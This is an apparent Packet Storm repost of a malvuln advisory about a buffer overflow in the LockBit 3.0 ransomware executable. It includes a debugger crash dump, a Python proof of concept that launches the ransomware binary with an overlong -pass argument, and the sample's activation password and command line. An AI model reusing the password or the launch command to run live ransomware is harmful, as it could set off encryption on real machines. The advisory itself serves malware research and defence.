exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Ransom Lockbit 3.0 MVID-2022-0620 Buffer Overflow

Ransom Lockbit 3.0 MVID-2022-0620 Buffer Overflow
Posted Jul 4, 2022
Authored by malvuln | Site malvuln.com

Lockbit ransomware version 3.0 apparently now requires a password to execute as noted by "@vxunderground", but does not properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).

tags | exploit, overflow
SHA-256 | 06a133f3bc4006162df18df2401be464873b516bcdfcc7cac2c75f2ef63c8d53

Ransom Lockbit 3.0 MVID-2022-0620 Buffer Overflow

Change Mirror Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/38745539b71cf201bb502437f891d799.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Ransom Lockbit 3.0
Vulnerability: Local Unicode Buffer Overflow (SEH)
Description: The ransomware apparently now requires a password to execute as noted by "@vxunderground" E.g. "-pass db66023ab2abcb9957fb01ed50cdfa6a", but doesnt properly check bounds for both the -pass and -k arguments. Supplying a long string of characters for either flag will trigger a unicode stack buffer overflow overwriting the ECX register and structured exception handler (SEH).
Family: Lockbit
Type: PE32
MD5: 38745539b71cf201bb502437f891d799
Vuln ID: MVID-2022-0620
ASLR: False
DEP: True
CFG: False
Safe SEH: False
Disclosure: 07/03/2022

Memory Dump:
(b4.1c38): Access violation - code c0000005 (first/second chance not available)
eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000
eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
a291273d ?? ???

0:000> .ecxr
eax=6bce1634 ebx=00000000 ecx=00410041 edx=77729d70 esi=00000000 edi=00000000
eip=a291273d esp=000a12f8 ebp=000a1318 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
a291273d ?? ???

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+1b21e
0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]

EXCEPTION_RECORD: 0019f688 -- (.exr 0x19f688)
ExceptionAddress: 0041b21e (LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x0001b21e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: a291273d

WRITE_ADDRESS: a291273d

FOLLOWUP_IP:
+1b21e
a291273d ?? ???

FAILED_INSTRUCTION_ADDRESS:
+1b21e
a291273d ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: a291273d
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

CONTEXT: 0019f6d8 -- (.cxr 0x19f6d8)
eax=00000020 ebx=0019fc00 ecx=0000004a edx=0000029a esi=025724f4 edi=001a0000
eip=0041b21e esp=0019fb38 ebp=0019fb48 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+0x1b21e:
0041b21e f366a5 rep movs word ptr es:[edi],word ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 0041b26a to 0041b21e

FAULTING_THREAD: ffffffff

DEFAULT_BUCKET_ID: STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACKIMMUNE

BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041

STACK_TEXT:
00000000 00000000 lockbit3+0x0


STACK_COMMAND: .cxr 000000000019F6D8 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: lockbit3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: lockbit3

IMAGE_NAME: lockbit3

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_lockbit3!Unloaded

BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_00410041_BAD_IP_lockbit3

Followup: MachineOwner
---------

0:000> !exchain
0019f59c: ntdll!ExecuteHandler2+44 (77729d70)
0019ffcc: LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce+10041 (00410041)
Invalid exception stack at 00410041



Exploit/PoC:
from subprocess import Popen

#Discovery/Credits: malvuln
#Vulnerability: Unicode Buffer Overflow (SEH)
#Disclosure: 07/03/2022
#Hash: 80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce
#MD5: 38745539b71cf201bb502437f891d799
#================================================================================================
#
#Apparently Lockbit 3.0 - Lockbit Black (aka LockShit), now requires a password to execute E.g.
#
#vx-underground commented on 2022-07-03 18:55:48 UTC
#
#{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe -k LocalServiceNetworkRestricted -pass db66023ab2abcb9957fb01ed50cdfa6a
#
#https://bazaar.abuse.ch/sample/80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce/
#===============================================================================================
#
#Supplying a long payload of characters for the -pass or -k switches triggers a Buffer Overflow.
#===============================================================================================

TARGET="LockBit3_80e8defa5377018b093b5b90de0f2957f7062144c83a09a56bba1fe4eda932ce.exe"
BANNER="""
__ __ _____ __ _ __
/ / ____ _____/ /__/ ___// /_ (_) /_
/ / / __ \/ ___/ //_/\__ \/ __ \/ / __/
/ /___/ /_/ / /__/ ,< ___/ / / / / / /_
/_____/\____/\___/_/|_|/____/_/ /_/_/\__/ 3.0

Unicode Buffer Overflow
By malvuln
"""

PAYLOAD="A"*666

def doit():
Popen([TARGET, "-pass", PAYLOAD], shell=True)

if __name__=="__main__":
print(BANNER)
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close